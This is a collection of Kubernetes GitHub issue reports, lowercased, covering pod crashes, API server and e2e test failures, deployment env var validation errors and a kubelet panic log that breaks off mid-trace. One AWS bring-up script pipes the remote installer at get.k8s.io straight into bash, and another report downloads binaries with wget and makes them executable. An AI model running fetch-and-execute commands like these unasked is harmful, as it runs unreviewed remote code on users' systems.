kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.0.1011+42d5a1a9cd4aca\ , gitcommit:\ 42d5a1a9cd4acae9c7b258c21bfc4fb4955d7be3\ , gittreestate:\ clean\ , builddate:\ 2016-11-30t07:19:12z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.0.1011+42d5a1a9cd4aca\ , gitcommit:\ 42d5a1a9cd4acae9c7b258c21bfc4fb4955d7be3\ , gittreestate:\ clean\ , builddate:\ 2016-11-30t07:19:12z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  : \r -   cloud provider or hardware configuration  : azure\r -   os    e.g. from /etc/os-release : rhel 7.3\r -   install tools  : ansible\r \r   what happened  :\r follow the instruction of incubator, create nfs-provisioner pod got crashloopbackoff\r \r   what you expected to happen  :\r pod could be running\r \r   how to reproduce it    as minimally and precisely as possible :\r    \r  root@wehe-master1 ~   kubectl create -f https://raw.githubusercontent.com/kubernetes-incubator/nfs-provisioner/master/deploy/kube-config/pod.yaml\r pod \ nfs-provisioner\  created\r  root@wehe-master1 ~   kubectl get pods\r name              ready     status             restarts   age\r nfs-provisioner   0/1       crashloopbackoff   3          1m\r  root@wehe-master1 ~   kubectl logs nfs-provisioner\r i1201 03:29:01.155616       1 main.go:54  provisioner matthew/nfs specified\r i1201 03:29:01.155913       1 main.go:67  starting nfs server!\r f1201 03:29:01.643473       1 main.go:83  failed to create config: open /var/run/secrets/kubernetes.io/serviceaccount/token: no such file or directory\r    \r \r   anything else do we need to know  :\r \r

etcd has the ability to increase/decrease its running loglevel which is really useful in debugging individual operations. \r \r https://coreos.com/etcd/docs/latest/v2/admin_guide.html  see \ enabling debug logging\  section \r \r it would be nice to support this for all of our components  apiserver, scheduler, etc. .\r \r @kubernetes/sig-api-machinery-misc

https://k8s-testgrid.appspot.com/sig-node kubelet-flaky-gce-e2e\r \r has been in this state since some recent tests were added.  most likely an issue with the suite timing out.

 \r the lease reconciler creates the kubernetes endpoint with a prefix of kube-apiserver-endpoint, however that is not the prefix that the rest of kube uses.  the end result is that the kubernetes service doesn't have an endpoint, and kubectl won't list the kubernetes endpoint.\r \r the lease reconciler also creates lease files with a really long lease time instead of the default 15 seconds.\r \r @liggitt @kubernetes/sig-api-machinery-bugs @sttts

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r given the following pod configuration: \r \r    yaml\r apiversion: v1\r kind: pod\r metadata:\r   name: command-demo\r   labels:\r     purpose: demonstrate-command\r spec:\r   containers:\r   - name: command-demo-container\r     image: debian\r     command:  \ /bin/echo\  \r     args:  \ $ hostname \  \r   restartpolicy: onfailure\r    \r \r this pod echoed literately  $ hostname  .\r \r   what you expected to happen  :\r \r the pod to echo  command-demo   the pod name .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r kubectl apply -f pod.yaml\r kubectl logs command-demo\r    \r \r   anything else we need to know?  :\r \r this works for other environment variables such as  kubernetes_service_host .\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.3\ , gitcommit:\ 2c2fe6e8278a5db2d15a013987b53968c743f2a1\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t07:00:21z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-07-26t00:12:31z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:  minikube version: v0.21.0 \r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 17.10  artful aardvark \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 17.10\ \r version_id=\ 17.10\ \r home_url=\ https://www.ubuntu.com/\ \r support_url=\ https://help.ubuntu.com/\ \r bug_report_url=\ https://bugs.launchpad.net/ubuntu/\ \r privacy_policy_url=\ https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\ \r version_codename=artful\r ubuntu_codename=artful\r    \r - kernel  e.g.  uname -a  :\r  linux naydra 4.13.0-21-generic  24-ubuntu smp mon dec 18 17:29:16 utc 2017 x86_64 x86_64 x86_64 gnu/linux \r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >   \r \r   what happened  :\r i made some golang clients of the sample api-server, using the api types defined in the sample-apiserver repo.  see https://github.com/mikespreitzer/k8api-scaletest .  i use glide to manage dependencies.  when i  glide update  or  glide install , i get not only the main  vendor  but also  vendor/k8s.io/sample-apiserver/vendor .  that additional vendor directory makes it impossible to compile the code.\r \r   what you expected to happen  :\r i expected there would be a way to write client code that compiles without manually deleting anything.\r \r   how to reproduce it  as minimally and precisely as possible   :\r make any client that uses anything from sample-apiserver.\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r currently only directory mount is supported on windows, e.g. azuredisk, azurefile, file mount on windows should also be supported.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /assign\r fyi @patricklang\r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-large-performance/136 has failed with:\r \r    \r there should be no high-latency requests\r i0818 17:43:08.589    expected\r i0818 17:43:08.590        <int>: 1\r i0818 17:43:08.590    not to be >\r i0818 17:43:08.590        <int>: 0\r    \r \r    \r i0818 17:37:15.947  aug 18 17:37:15.946: info: warning top latency metric: {resource:replicationcontrollers subresource: verb:delete scope:namespace latency:{perc50:3.13ms perc90:11.866ms perc99:1.197081s perc100:0s} count:2020}\r    \r \r sample trace from kube-apiserver.log  i see ~10 requests like that, all of them roughly at the same time :\r \r    \r i0818 17:01:04.919640       1 trace.go:76  trace 637673882 : \ delete /api/v1/namespaces/e2e-tests-density-30-20-hn4cw/replicationcontrollers/density-latency-pod-39\   started: 2018-08-18 17:01:03.906893012 +0000 utc m=+14063.882323853   total time: 1.012718889s :\r trace 637673882 :  1.012651328s   1.012477405s  object deleted from database\r i0818 17:01:04.919702       1 wrap.go:42  delete /api/v1/namespaces/e2e-tests-density-30-20-hn4cw/replicationcontrollers/density-latency-pod-39:  1.013117116s  200  e2e.test/v1.13.0  linux/amd64  kubernetes/b44a768 104.198.217.95:46014 \r     \r \r iiuc the trace correctly, we spend almost all time in 'object deleted from database':\r \r https://github.com/kubernetes/kubernetes/blob/6fe7f9f4b70fce08050e8211af6dee09517baef7/staging/src/k8s.io/apiserver/pkg/endpoints/handlers/delete.go l127-l138\r \r \r \r   /cc @wojtek-t @shyamjvs

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-master\r \r   which test s  are failing  :\r the job has been  timing out  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-master/1874 \r \r   since when has it been failing  :\r 11/7.   changelist with possible culprit  https://github.com/kubernetes/kubernetes/compare/5bfe2967a...12be2444c? \r \r   testgrid link  :\r https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-master\r \r   reason for failure  :\r kubetest timed out\r \r   /assign @justinsb \r /cc @roberthbailey @jberkus @mariantalla @mortent \r / /milestone v1.13\r \r @justinsb can you please take a look and help triage ^^

seems to be a similar issue as https://github.com/coreos/fleet/issues/1280 where the kubelet, kube-proxy and kubectl in a minimal container such as alpine linux doesn't run but the kube-apiserver, kube-controller-manager and kube-scheduler does.    how to reproduce        $ docker run --rm -it alpine sh /   apk add -u ca-certificates /   for i in kube-apiserver kube-proxy kube-scheduler kube-controller-manager kubelet kubectl; do wget https://storage.googleapis.com/kubernetes-release/release/v0.20.2/bin/linux/amd64/$i; chmod +x $i; done /   /   ./kube-apiserver -h usage of ./kube-apiserver:       --address=127.0.0.1: deprecated: see --insecure-bind-address instead       --admission-control=\ alwaysadmit\ : ordered list of plug-ins to do admission control of resources into cluster. comma-delimited list of: securitycontextdeny, namespacelifecycle, namespaceexists, namespaceautoprovision, denyexeconprivileged, alwaysdeny, serviceaccount, resourcequota, limitranger, alwaysadmit       --admission-control-config-file=\ \ : file with admission control configuration.       --advertise-address=<nil>: the ip address on which to advertise the apiserver to members of the cluster. this address must be reachable by the rest of the cluster. if blank, the --bind-address will be used. if --bind-address is unspecified, the host's default interface will be used.       --allow-privileged=false: if true, allow privileged containers.       --alsologtostderr=false: log to standard error as well as files       --api-burst=200: api burst amount for the read only port       --api-prefix=\ /api\ : the prefix for api requests on the server. default '/api'.       --api-rate=10: api rate limit as qps for the read only port       --authorization-mode=\ alwaysallow\ : selects how to do authorization on the secure port.  one of: alwaysallow,alwaysdeny,abac       --authorization-policy-file=\ \ : file with authorization policy in csv format, used with --authorization-mode=abac, on the secure port.       --basic-auth-file=\ \ : if set, the file that will be used to admit requests to the secure port of the api server via http basic authentication.       --bind-address=0.0.0.0: the ip address on which to serve the --read-only-port and --secure-port ports. the associated interface s  must be reachable by the rest of the cluster, and by cli/web clients. if blank, all interfaces will be used  0.0.0.0 .       --cert-dir=\ /var/run/kubernetes\ : the directory where the tls certs are located  by default /var/run/kubernetes . if --tls-cert-file and --tls-private-key-file are provided, this flag will be ignored.       --client-ca-file=\ \ : if set, any request presenting a client certificate signed by one of the authorities in the client-ca-file is authenticated with an identity corresponding to the commonname of the client certificate.       --cloud-config=\ \ : the path to the cloud provider configuration file.  empty string for no configuration file.       --cloud-provider=\ \ : the provider for cloud services.  empty string for no provider.       --cluster-name=\ kubernetes\ : the instance prefix for the cluster       --cors-allowed-origins=  : list of allowed origins for cors, comma separated.  an allowed origin can be a regular expression to support subdomain matching.  if this list is empty cors will not be enabled.       --etcd-config=\ \ : the config file for the etcd client. mutually exclusive with -etcd-servers.       --etcd-prefix=\ /registry\ : the prefix for all resource paths in etcd.       --etcd-servers=  : list of etcd servers to watch  http://ip:port , comma separated. mutually exclusive with -etcd-config       --event-ttl=1h0m0s: amount of time to retain events. default 1 hour.       --external-hostname=\ \ : the hostname to use when generating externalized urls for this master  e.g. swagger api docs.        --httptest.serve=: if non-empty, httptest.newserver serves on this address and blocks       --insecure-bind-address=127.0.0.1: the ip address on which to serve the --insecure-port  set to 0.0.0.0 for all interfaces . defaults to localhost.       --insecure-port=8080: the port on which to serve unsecured, unauthenticated access. default 8080. it is assumed that firewall rules are set up such that this port is not reachable from outside of the cluster and that port 443 on the cluster's public address is proxied to this port. this is performed by nginx in the default setup.       --kubelet-certificate-authority=\ \ : path to a cert. file for the certificate authority.       --kubelet-client-certificate=\ \ : path to a client key file for tls.       --kubelet-client-key=\ \ : path to a client key file for tls.       --kubelet-https=true: use https for kubelet connections       --kubelet-port=10250: kubelet port       --kubelet-timeout=5s: timeout for kubelet operations       --log-backtrace-at=:0: when logging hits line file:n, emit a stack trace       --log-dir=: if non-empty, write log files in this directory       --log-flush-frequency=5s: maximum number of seconds between log flushes       --logtostderr=true: log to standard error instead of files       --long-running-request-regexp=\  /|^   watch|proxy  /|$ | logs|portforward|exec /?$ \ : a regular expression matching long running requests which should be excluded from maximum inflight request handling.       --master-service-namespace=\ default\ : the namespace from which the kubernetes master services should be injected into pods       --max-requests-inflight=400: the maximum number of requests in flight at a given time.  when the server exceeds this, it rejects requests.  zero for no limit.       --min-request-timeout=1800: an optional field indicating the minimum number of seconds a handler must keep a request open before timing it out. currently only honored by the watch request handler, which picks a randomized value above this number as the connection timeout, to spread out load.       --old-etcd-prefix=\ /registry\ : the previous prefix for all resource paths in etcd, if any.       --port=8080: deprecated: see --insecure-port instead       --profiling=true: enable profiling via web interface host:port/debug/pprof/       --public-address-override=0.0.0.0: deprecated: see --bind-address instead       --runtime-config=: a set of key=value pairs that describe runtime configuration that may be passed to the apiserver. api/<version> key can be used to turn on/off specific api versions. api/all and api/legacy are special keys to control all and legacy api versions respectively.       --secure-port=6443: the port on which to serve https with authentication and authorization. if 0, don't serve https at all.       --service-account-key-file=\ \ : file containing pem-encoded x509 rsa private or public key, used to verify serviceaccount tokens. if unspecified, --tls-private-key-file is used.       --service-account-lookup=false: if true, validate serviceaccount tokens exist in etcd as part of authentication.       --service-cluster-ip-range=<nil>: a cidr notation ip range from which to assign service cluster ips. this must not overlap with any ip ranges assigned to nodes for pods.       --service-node-port-range=: a port range to reserve for services with nodeport visibility.  example: '30000-32767'.  inclusive at both ends of the range.       --ssh-keyfile=\ \ : if non-empty, use secure ssh proxy to the nodes, using this user keyfile       --ssh-user=\ \ : if non-empty, use secure ssh proxy to the nodes, using this user name       --stderrthreshold=2: logs at or above this threshold go to stderr       --storage-version=\ \ : the version to store resources with. defaults to server preferred       --tls-cert-file=\ \ : file containing x509 certificate for https.   ca cert, if any, concatenated after server cert . if https serving is enabled, and --tls-cert-file and --tls-private-key-file are not provided, a self-signed certificate and key are generated for the public address and saved to /var/run/kubernetes.       --tls-private-key-file=\ \ : file containing x509 private key matching --tls-cert-file.       --token-auth-file=\ \ : if set, the file that will be used to secure the secure port of the api server via token authentication.       --v=0: log level for v logs       --version=false: print version information and quit       --vmodule=: comma-separated list of pattern=n settings for file-filtered logging /   ./kube-controller-manager -h usage of ./kube-controller-manager:       --address=127.0.0.1: the ip address to serve on  set to 0.0.0.0 for all interfaces        --allocate-node-cidrs=false: should cidrs for pods be allocated and set on the cloud provider.       --alsologtostderr=false: log to standard error as well as files       --cloud-config=\ \ : the path to the cloud provider configuration file.  empty string for no configuration file.       --cloud-provider=\ \ : the provider for cloud services.  empty string for no provider.       --cluster-cidr=<nil>: cidr range for pods in cluster.       --cluster-name=\ kubernetes\ : the instance prefix for the cluster       --concurrent-endpoint-syncs=5: the number of endpoint syncing operations that will be done concurrently. larger number = faster endpoint updating, but more cpu  and network  load       --concurrent-rc-syncs=5: the number of replication controllers that are allowed to sync concurrently. larger number = more reponsive replica management, but more cpu  and network  load       --deleting-pods-burst=10: number of nodes on which pods are bursty deleted in case of node failure. for more details look into ratelimiter.       --deleting-pods-qps=0.1: number of nodes per second on which pods are deleted in case of node failure.       --httptest.serve=: if non-empty, httptest.newserver serves on this address and blocks       --kubeconfig=\ \ : path to kubeconfig file with authorization and master location information.       --log-backtrace-at=:0: when logging hits line file:n, emit a stack trace       --log-dir=: if non-empty, write log files in this directory       --log-flush-frequency=5s: maximum number of seconds between log flushes       --logtostderr=true: log to standard error instead of files       --master=\ \ : the address of the kubernetes api server  overrides any value in kubeconfig        --namespace-sync-period=5m0s: the period for syncing namespace life-cycle updates       --node-monitor-grace-period=40s: amount of time which we allow running node to be unresponsive before marking it unhealty. must be n times more than kubelet's nodestatusupdatefrequency, where n means number of retries allowed for kubelet to post node status.       --node-monitor-period=5s: the period for syncing nodestatus in nodecontroller.       --node-startup-grace-period=1m0s: amount of time which we allow starting node to be unresponsive before marking it unhealty.       --node-sync-period=10s: the period for syncing nodes from cloudprovider. longer periods will result in fewer calls to cloud provider, but may delay addition of new nodes to cluster.       --pod-eviction-timeout=5m0s: the grace peroid for deleting pods on failed nodes.       --port=10252: the port that the controller-manager's http service runs on       --profiling=true: enable profiling via web interface host:port/debug/pprof/       --pvclaimbinder-sync-period=10s: the period for syncing persistent volumes and persistent volume claims       --register-retry-count=10: the number of retries for initial node registration.  retry interval equals node-sync-period.       --resource-quota-sync-period=10s: the period for syncing quota usage status in the system       --root-ca-file=\ \ : if set, this root certificate authority will be included in service account's token secret. this must be a valid pem-encoded ca bundle.       --service-account-private-key-file=\ \ : filename containing a pem-encoded private rsa key used to sign service account tokens.       --stderrthreshold=2: logs at or above this threshold go to stderr       --sync-node-status=false: deprecated. does not have any effect now and it will be removed in a later release.       --v=0: log level for v logs       --version=false: print version information and quit       --vmodule=: comma-separated list of pattern=n settings for file-filtered logging /   ./kube-scheduler -h usage of ./kube-scheduler:       --address=127.0.0.1: the ip address to serve on  set to 0.0.0.0 for all interfaces        --algorithm-provider=\ defaultprovider\ : the scheduling algorithm provider to use, one of: defaultprovider       --alsologtostderr=false: log to standard error as well as files       --kubeconfig=\ \ : path to kubeconfig file with authorization and master location information.       --log-backtrace-at=:0: when logging hits line file:n, emit a stack trace       --log-dir=: if non-empty, write log files in this directory       --log-flush-frequency=5s: maximum number of seconds between log flushes       --logtostderr=true: log to standard error instead of files       --master=\ \ : the address of the kubernetes api server  overrides any value in kubeconfig        --policy-config-file=\ \ : file with scheduler policy configuration       --port=10251: the port that the scheduler's http service runs on       --profiling=true: enable profiling via web interface host:port/debug/pprof/       --stderrthreshold=2: logs at or above this threshold go to stderr       --v=0: log level for v logs       --version=false: print version information and quit       --vmodule=: comma-separated list of pattern=n settings for file-filtered logging /   ./kubelet -h sh: ./kubelet: not found /   ./kube-proxy -h sh: ./kube-proxy: not found /   ./kubectl -h sh: ./kubectl: not found

see https://github.com/kubernetes/kubernetes/pull/13281 discussion_r38243852  cc @ixdy

this is the script i used to bring up the cluster.   the vpc_id is for a vpc named 'prod'   that vpc has a 172.30.0.0/16 cidr and 172.30.2.0/24 is not in use.  export kubernetes_provider=aws export kube_aws_zone=us-east-1a export aws_default_profile=qa export master_size=m3.medium export node_size=t2.micro export num_nodes=1 export aws_s3_region=us-east-1 export aws_s3_bucket=prod-kubernetes-1 export kube_aws_instance_prefix=prod export aws_ssh_key=~/.ssh/id_rsa export vpc_id=vpc-<redacted>   networking setup  export kube_subnet_cidr=172.30.2.0/24   bring er up!  curl -ss https://get.k8s.io | /bin/bash

it should be easy to automate  as part of the binary  creating a dockerfile, referencing the running binary and driving docker.   hyperkube admin create-container-image  could do this. we could also support  hyperkube admin create-container-image --aci  and  hyperkube admin create-container-image --docker --just-dockerfile .   ref  28435   cc @fgrzadkowski @luxas

currently we store container logs in /var/lib/docker..., we should document and enforce where possible, that this doesn't live on the root partition. when root fills up all bets are off.   in fact we can go even deeper and come up with a nice partitioning scheme that protect critical system files from corruption. i think @girishkalele had some ideas at one point.

here is the board: https://github.com/kubernetes/kubernetes/projects/2\r    todo:\r -     reconsider where /healthz lives  now instantiated in the master \r -     make /version customizable without the need to use ldflags\r -     unify how optional non-rest routes can be enabled/disabled: probably get rid of  config.enable   variables\r -     make api prefix configurable : https://github.com/kubernetes/kubernetes/issues/18991\r -     handle handle empty prefixes gracefully\r -     move flags install to common place: https://github.com/kubernetes/kubernetes/issues/24062\r -     make pkg/apiserver/api_installer.go more generic  or should be made generic \r - cmd/kube-apiserver/app/server.go:\r   -     newetcd should be moved to a genericapiserver/etcd package or something\r   -     all the if blocks   if !apigroupversionoverrides \ extensions/v1beta1\  .disable {   should be refactored into something that operates in a loop over a map or something, and moved to the generic apiserver\r -     move  pkg/api/requestcontext.go  to  apiserver  package? https://github.com/kubernetes/kubernetes/pull/33164 pullrequestreview-936569\r -  x  move  kubernetesservicenodeport  from genericapiserver to master \r -  x  split  options.serverrunoptions  into generic and non-generic part\r    wip:\r -  x  move non-rest routes into  routes  sub-packages https://github.com/kubernetes/kubernetes/pull/32387\r -  x  posthooks for initialization: https://github.com/kubernetes/kubernetes/pull/31529\r - turn  genericapiserver.run    into  serve    as much as possible:\r   -  x  https://github.com/kubernetes/kubernetes/pull/33095\r   -     reconsider where openapi and swagger endpoints are installed after apis have been installed  it's now in  run   \r -  x  make auditing injectable https://github.com/kubernetes/kubernetes/pull/33164 discussion_r79818752\r -  x  make handler chains customizable: pre/post authn/authz handlers, secure vs. insecure. probably replace direct  genericapiserver.mux  access with this. https://github.com/kubernetes/kubernetes/pull/33164 discussion_r79819350: \r    !  33365  https://github-shields.com/github/kubernetes/kubernetes/pull/33365.svg   https://github.com/kubernetes/kubernetes/pull/33365.svg \r -  x  add locking to  genericapiserver.apigroupsfordiscovery \r -  x   apiserver.installserviceerrorhandler  overwrites the container  serviceerrorhandler . but the  apiversions  passed are only those of one group, not all groups: https://github.com/sttts/kubernetes/blob/1350325037cea3355c9d92bcdfeed08be4c18eac/pkg/genericapiserver/genericapiserver.go l408: pr fixing this as a side-effect:  !  33368  https://github-shields.com/github/kubernetes/kubernetes/pull/33368.svg   https://github.com/kubernetes/kubernetes/pull/33368.svg \r \r related: minimal routes for an apiserver https://github.com/kubernetes/kubernetes/issues/32678\r

when creating an ingress on a cluster running on gke, a google load balancer is created. however, the glb uses  /  as the health check path and on some services this needs to be different  i.e.  /healthcheck  .\r ingress resources have no way to define health checks, but perhaps it could be annotated to contain that option.

per sig-testing today.\r \r we generally agree:\r \r - we'd like to restructure e2e to group by sig.\r - we'd like to auto-associate every pr with a sig so there is global accountability as opposed to individual accountability for any regressions or flakes.\r - we'd like to group every job/suite by sig.  possibly redundant to the first bullet.\r - as part of this issue jay has to curate the existing e2e tests with a rough first pass at sig responsibilities.   that should be fun :

when applying a deploy with some env vars kubernetes accepts the deployment but when doing a var change gives an error with an invalid var value which is not empty \r \r removing some random vars can make it work or not but if you remove the deploy and apply it again makes that the deployment is deployed again successfully\r \r \r   similar issues:  \r https://github.com/kubernetes/kubernetes/issues/35134\r https://github.com/kubernetes/kubernetes/issues/46826\r ---\r \r   bug report  :\r    \r apiversion: apps/v1beta1\r kind: deployment\r metadata:\r   labels:\r     name: test\r   name: test\r   namespace: dc1\r spec:\r   replicas: 1\r   template:\r     metadata:\r       labels:\r         name: test\r     spec:\r       imagepullsecrets:\r         - name: docker-artifactory-credential-secret\r       containers:\r       - image:  alpine:test\r         name: test\r         ports:\r         - containerport: 9292\r           name: http\r         livenessprobe:\r           httpget:\r             path: /\r             port: 9292\r           initialdelayseconds: 60\r           periodseconds: 10\r           successthreshold: 1\r           timeoutseconds: 60\r           failurethreshold: 6\r         resources:\r           requests:\r             memory: \ 128mi\ \r             cpu: \ 25m\ \r           limits:\r             memory: \ 512mi\ \r             cpu: \ 100m\ \r         env:\r           - name: okta_assertion_consumer_url\r             value: 'http://test/auth/saml/callback'\r           - name: okta_issuer\r             value: test\r           - name: okta_target_url\r             value: value’\r           - name: okta_fingerprint\r             value: value’\r           - name: okta_name_identifier_format\r             value: ‘value’\r           - name: app_current_path\r             value: “/test”\r           - name: app_intercept_mail\r             value: 'false'\r           - name: database_adapter\r             value: mysql2\r           - name: database_database\r             value: reports\r           - name: database_host\r             value: mysql-test\r           - name: database_port\r             value: '3306'\r           - name: database_reconnect\r             value: 'true'\r           - name: database_username\r             value: test\r           - name: domain_name\r             value: localhost\r           - name: keen_enabled\r             value: 'false'\r           - name: keen_read_timeout\r             value: '5'\r           - name: errors_host\r             value: http://errors.peertransfer.in\r           - name: keen_enabled\r             value: 'false'\r           - name: keen_project_id\r             value: 3232333433243432131\r           - name: keen_read_timeout\r             value: '5'\r           - name: memcache_servers\r             value: memcached-test:11211\r           - name: mongo_database\r             value: test\r           - name: mongo_hosts\r             value: mongodb-test\r           - name: mongo_logger\r             value: 'false'\r           - name: rack_env\r             value: development\r           - name: s3_bucket\r             value: testing-transfer-dev-s3\r           - name: rack_env\r             value: development\r           - name: unicorn_port\r             value: '9292'\r           - name: unicorn_timeout\r             value: '30'\r           - name: unicorn_workers\r             value: '6'\r           - name: wiki_git_repo\r             value: ''\r           - name: wiki_path\r             value: tmp/test\r           - name: wiki_sync\r             value: 'false'\r           - name: s3_secret_access_key\r             valuefrom:\r               secretkeyref:\r                 name: test-app-secrets\r                 key: s3_secret_access_key\r           - name: s3_access_key_id\r             valuefrom:\r               secretkeyref:\r                 name: test-app-secrets\r                 key: s3_access_key_id\r           - name: pusher_key\r             valuefrom:\r               secretkeyref:\r                 name: test-app-secrets\r                 key: pusher_key\r           - name: keen_write_key\r             valuefrom:\r               secretkeyref:\r                 name: test-app-secrets\r                 key: keen_write_key\r           - name: keen_read_key\r             valuefrom:\r               secretkeyref:\r                 name: test-app-secrets\r                 key: keen_read_key\r           - name: keen_project_id\r             valuefrom:\r               secretkeyref:\r                 name: test-app-secrets\r                 key: keen_project_id\r           - name: errors_api_key\r             valuefrom:\r               secretkeyref:\r                 name: test-app-secrets\r                 key: errors_api_key\r           - name: app_session_secret\r             valuefrom:\r               secretkeyref:\r                 name: test-app-secrets\r                 key: app_session_secret\r           - name: database_password\r             valuefrom:\r               secretkeyref:\r                 name: mysql-test\r                 key: mysql-password\r    \r \r   kubernetes version    use  kubectl version  :\r    \r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-beta.3\ , gitcommit:\ 0cd5ed469508e6dfc807ee6681561c845828917e\ , gittreestate:\ clean\ , builddate:\ 2017-03-11t04:20:22z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r \r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2+coreos.0\ , gitcommit:\ 79fee581ce4a35b7791fdd92e0fc97e02ef1d5c0\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t23:13:34z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : coreos\r -   install tools  :  tectonic-installer  terraform \r \r   what happened  :\r    \r kubectl apply -f templates/test.yaml \r deployment \ test\  configured\r    \r    \r kubectl apply -f templates/test.yaml \r the deployment \ test\  is invalid: spec.template.spec.containers 0 .env 14 .valuefrom: invalid value: \ \ : may not be specified when  value  is not empty\r    \r    \r kubectl apply -f templates/test.yaml \r the deployment \ test\  is invalid: spec.template.spec.containers 0 .env 14 .valuefrom: invalid value: \ \ : may not be specified when  value  is not empty\r    \r    \r kubectl delete deploy test -n dc1\r deployment \ test\  deleted\r    \r    \r kubectl apply -f templates/test.yaml \r deployment \ test\  configured\r    \r \r   what you expected to happen  :\r the deployment is applied in kubernetes successfully without deleting the deployment first.\r \r   how to reproduce it   :\r following previous steps.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r   what happened  :\r i deployed a spec using an azuredisk that triggered an \ invalid memory address or nil pointer dereference\ . the deployment was initializing a pod and mounting an azuredisk volume after downloading the container. here are the kubelet logs on the node during the time the error was thrown:\r    \r nov 07 00:23:42 blue-minion-1 kubelet-wrapper 13163 : i1107 00:23:42.939539   13163 kubelet_node_status.go:499  using node hostname from cloudprovider: \ blue-minion-1\ \r nov 07 00:23:45 blue-minion-1 kubelet-wrapper 13163 : i1107 00:23:45.265557   13163 qos_container_manager_linux.go:320   containermanager : updated qos cgroup configuration\r nov 07 00:23:50 blue-minion-1 kubelet-wrapper 13163 : i1107 00:23:50.011933   13163 kube_docker_client.go:330  pulling image \ prom/prometheus:v1.8.0\ : \ 12d20d1c8476: pull complete \ \r nov 07 00:23:52 blue-minion-1 kubelet-wrapper 13163 : i1107 00:23:52.308660   13163 kube_docker_client.go:333  stop pulling image \ prom/prometheus:v1.8.0\ : \ status: downloaded newer \r nov 07 00:23:52 blue-minion-1 kubelet-wrapper 13163 : e1107 00:23:52.310160   13163 runtime.go:66  observed a panic: \ invalid memory address or nil pointer dereference\   runtime erro\r nov 07 00:23:52 blue-minion-1 kubelet-wrapper 13163 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:72\r nov 07 00:23:52 blue-minion-1 kubelet-wrapper 13163 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:65\r nov 07 00:23:52 blue-minion-1 kubelet-wrapper 13163 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:51\r nov 07 00:23:52 blue-minion-1 kubelet-wrapper 13163 : /usr/local/go/src/runtime/asm_amd64.s:514\r nov 07 00:23:52 blue-minion-1 kubelet-wrapper 13163 : /usr/local/go/src/runtime/panic.go:489\r nov 07 00:23:52 blue-minion-1 kubelet-wrapper 13163 : /usr/local/go/src/runtime/panic.go:63\r nov 07 00:23:52 blue-minion-1 kubelet-wrapper 13163 : /usr/local/go/src/runtime/signal_unix.go:290\r nov 07 00:23:52 blue-minion-1 kubelet-wrapper 13163 : 